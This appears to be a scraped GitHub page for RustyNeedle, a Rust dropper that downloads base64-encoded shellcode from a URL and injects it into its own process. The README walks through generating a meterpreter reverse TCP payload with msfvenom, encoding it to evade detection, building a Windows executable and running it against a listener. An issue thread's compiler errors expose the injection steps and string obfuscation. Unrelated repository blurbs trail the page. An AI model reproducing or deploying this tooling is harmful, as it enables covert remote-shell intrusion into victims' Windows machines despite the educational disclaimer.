A Rust-based dropper for shellcode payloads.

Overview

RustyNeedle

THIS CODE IS FOR EDUCATIONAL PURPOSES ONLY. I take no responsibility if you decide to do crimes with this code.

A simple dropper for shellcode that leverages the power of...base64 encoding??

No seriously. And it works. Here's how:

Usage

  1. Create your shellcode however you like, be it with msfvenom or other tools. Export the raw shellcode file.

  2. Use the encode.py script provided in this repository to create an encoded version of the shellcode.

python3 encode.py [SHELLCODE_FILE] [B64_ITERATIONS] [OUT_FILE]

Arguments

  • SHELLCODE_FILE: raw shellcode file to encode
  • B64_ITERATIONS: # of times to base64-encode the shellcode
  • OUT_FILE: Resulting text file of the encoded shellcode. NOTE: this will be many times larger than the source!

Alternative usage

If you don't want to use the script, you can also encode 0x hex values from msfvenom. It would go something like this:

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f csharp | tail -n+2 | sed 's/[{}; \n]//g' | base64 -w 0 > note.txt
# Pipe to base64 -w 0 as many times as you want to iterate the encoding
  1. Edit the source code in src/main.rs to reflect the URL where the encoded shellcode will be hosted.

  2. Run cargo build --target x86_64-pc-windows-gnu --release. If building on Linux for Windows, make sure you've added the Windows target triple with rustup target add x86_64-pc-windows-gnu.

  3. Copy the resulting exe in target/x86_64-pc-windows-gnu/release/rustyneedle.exe wherever you like.

  4. Set up any listeners, then execute the dropper!

You might also like...
The Voting example based on MoonZoon and Solana.
The Voting example based on MoonZoon and Solana.

Voting example The Rust-only Voting example based on MoonZoon and Solana. MoonZoon is a Rust Fullstack Framework. Solana is a decentralized blockchain

A webhook-based Discord slash command library

Slashook A webhook-based Discord slash command library. This is a WIP project. Please note breaking changes can occur within minor releases until vers

A cell-based esoteric programming language

Tape A cell-based esoteric programming language Tape is a cell-based, brainfuck-like programming language that has a readable syntax and a non-wasted

A collection of compilers based around compiling a high level language to a Brainfuck dialect.
A collection of compilers based around compiling a high level language to a Brainfuck dialect.

tf A collection of compilers based around compiling a high level language to a Brainfuck dialect. Built at, and for, the VolHacks V hackathon during O

Nimbus is a framework for building parachain consensus systems on cumulus-based parachains.

Cumulo -- Nimbus ⛈️ Nimbus is a framework for building parachain consensus systems on cumulus-based parachains. Given the regular six-second pulse-lik

Pbot - pan93412's extensible userbot, which is full-documented, enginnered and based on Actor model.

pbot pan93412's extensible user bot, which is full-documented, engineered and based on Actor model. Usage Run cargo run --release [--features modules

Single-future, #![no_std] executor based on event bitmasks

Single-future, #![no_std] executor based on event bitmasks

Cloud-Based Microservice Performance Profiling Tool

Revelio Systems Revelio Systems is a student startup sponsored by UT Austin's Inventors Program in partnership with Trend Micro. Team: Tejas Saboo, So

Parsers based on lady-deirdre project

ld-exts Parsers based on lady-deirdre project Links Lady Deirdre Alternative - Tree Sitter Config for NeoVim - LunarVim Parsers: Language Progress Hig

Comments
  • compile problem

    compile problem

    Hey I'm not sure whats going on here could you help?

    error: proc macro panicked
      --> src\main.rs:33:1
       |
    33 | use_litcrypt!();
       | ^^^^^^^^^^^^^^^
       |
       = help: message: LITCRYPT_ENCRYPT_KEY environment variable not set.
    
    error: proc macro panicked
      --> src\main.rs:80:35
       |
    80 |                     let err_msg = lc!("Could not convert bytes to string");
       |                                   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
       |
       = help: message: LITCRYPT_ENCRYPT_KEY environment variable not set.
    
    error: proc macro panicked
       --> src\main.rs:103:31
        |
    103 |                 let err_msg = lc!("Could not decode shellcode");
        |                               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
        |
        = help: message: LITCRYPT_ENCRYPT_KEY environment variable not set.
    
    error: proc macro panicked
       --> src\main.rs:112:20
        |
    112 |         return Err(lc!("Could not download shellcode"));
        |                    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
        |
        = help: message: LITCRYPT_ENCRYPT_KEY environment variable not set.
    
    error: proc macro panicked
       --> src\main.rs:133:32
        |
    133 |                 println!("{}", lc!("Couldn't allocate memory to current proc."));
        |                                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
        |
        = help: message: LITCRYPT_ENCRYPT_KEY environment variable not set.
    
    error: proc macro panicked
       --> src\main.rs:135:32
        |
    135 |                 println!("{}", lc!("Allocated memory to current proc."));
        |                                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
        |
        = help: message: LITCRYPT_ENCRYPT_KEY environment variable not set.
    
    error: proc macro panicked
       --> src\main.rs:139:28
        |
    139 |             println!("{}", lc!("Copying Shellcode to address in current proc."));
        |                            ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
        |
        = help: message: LITCRYPT_ENCRYPT_KEY environment variable not set.
    
    error: proc macro panicked
       --> src\main.rs:141:28
        |
    141 |             println!("{}", lc!("Copied..."));
        |                            ^^^^^^^^^^^^^^^^
        |
        = help: message: LITCRYPT_ENCRYPT_KEY environment variable not set.
    
    error: proc macro panicked
       --> src\main.rs:144:28
        |
    144 |             println!("{}", lc!("Changing mem protections to RX..."));
        |                            ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
        |
        = help: message: LITCRYPT_ENCRYPT_KEY environment variable not set.
    
    error: proc macro panicked
       --> src\main.rs:156:39
        |
    156 |                 return println!("{}", lc!("Error during injection"));
        |                                       ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
        |
        = help: message: LITCRYPT_ENCRYPT_KEY environment variable not set.
    
    error: proc macro panicked
       --> src\main.rs:160:28
        |
    160 |             println!("{}", lc!("Calling CreateThread..."));
        |                            ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
        |
        = help: message: LITCRYPT_ENCRYPT_KEY environment variable not set.
    
    error: proc macro panicked
       --> src\main.rs:175:32
        |
    175 |                 println!("{}", lc!("Error during inject."));
        |                                ^^^^^^^^^^^^^^^^^^^^^^^^^^^
        |
        = help: message: LITCRYPT_ENCRYPT_KEY environment variable not set.
    
    error: proc macro panicked
       --> src\main.rs:181:31
        |
    181 |                println!("{}", lc!("Good!"));
        |                               ^^^^^^^^^^^^
        |
        = help: message: LITCRYPT_ENCRYPT_KEY environment variable not set.
    
    error: proc macro panicked
       --> src\main.rs:182:31
        |
    182 |                println!("{}", lc!("Injection completed!"));
        |                               ^^^^^^^^^^^^^^^^^^^^^^^^^^^
        |
        = help: message: LITCRYPT_ENCRYPT_KEY environment variable not set.
    
    opened by shorefall 3
Owner
Michael Taggart
Michael Taggart
dm-jitaux is a Rust-based JIT compiler using modified auxtools, dmasm and Inkwell LLVM wrapper for boosting Byond DM performance without any hassle!

dm-jitaux is a Rust-based JIT compiler using modified auxtools, dmasm and Inkwell LLVM wrapper for boosting Byond DM performance without any hassle (such as rewriting/refactroing your DM code).

SS220 20 Dec 13, 2022
A rust-based extension module for Halo 3: MCC PC

halo3-rs This project is a rust-based extension module for Halo 3 in the Master Chief Collection on PC. The DLL wrapper contains a collection of patch

null 2 Sep 19, 2021
A Github Actions based CI release template for Rust binaries

Rust CI Release Template A Github Actions based CI release template. This repo serves as a live template, and reference for building your own CI power

null 60 Dec 9, 2022
cargo extension for flashing embedded rust programs via dfu based on jacobrosenthals cargo-hf2

cargo-dfu This crate provides a cargo subcommand to flash ELF binaries via dfu Most STM chips will probably work with this, although you might need to

Roman Kretschmer 0 Feb 6, 2022
A Rust Based GMod Module for finding system info.

gm_sysinfo Fetching System Information in Rust to Lua. Installation Download the Module. Compile it. Cry because it doesn't work. Spend 2 hours debugg

Joshua Piper 3 May 18, 2022
A trading bot written in Rust based on the orderbook delta volume.

The strategy based on the concept of mean reversion. We look for large deviations in the volume delta of BTC-PERP on FTX at a depth of 1. These deviations could be caused by over-enthusiastic and over-leveraged market participants.

Dinesh Pinto 45 Dec 28, 2022
A simple, terminal-based Erlang dashboard written in Rust

erldash A simple, terminal-based Erlang dashboard. erldash connects to an Erlang node using the dynamic node name feature (since OTP-23) to collect me

Takeru Ohta 85 Dec 8, 2022
A rust(serenity) based discord bot for the hacksquad discord server

A Discord Bot for Hacksquad How to Deploy? Requirements Docker Docker Compose Steps To Run Copy the docker-compose.yml and .env.example files to your

HackSquad 5 Jan 4, 2023
Swayidle alternative to handle wayland idle notifications, sleep and lock events in Rust with Lua scripting based configuration language

swayidle-rs This is intended as a replacement of sway's idle management daemon. I use it as a tool to understand rust message passing and state manage

Reza Jelveh 8 Nov 27, 2023
mdzk is a plain text Zettelkasten system that is based on the mdBook API.

mdzk A lovingly designed system and static publishing tool for your plain text Zettelkasten mdzk is a plain text Zettelkasten system that is based on

mdzk 176 Jan 4, 2023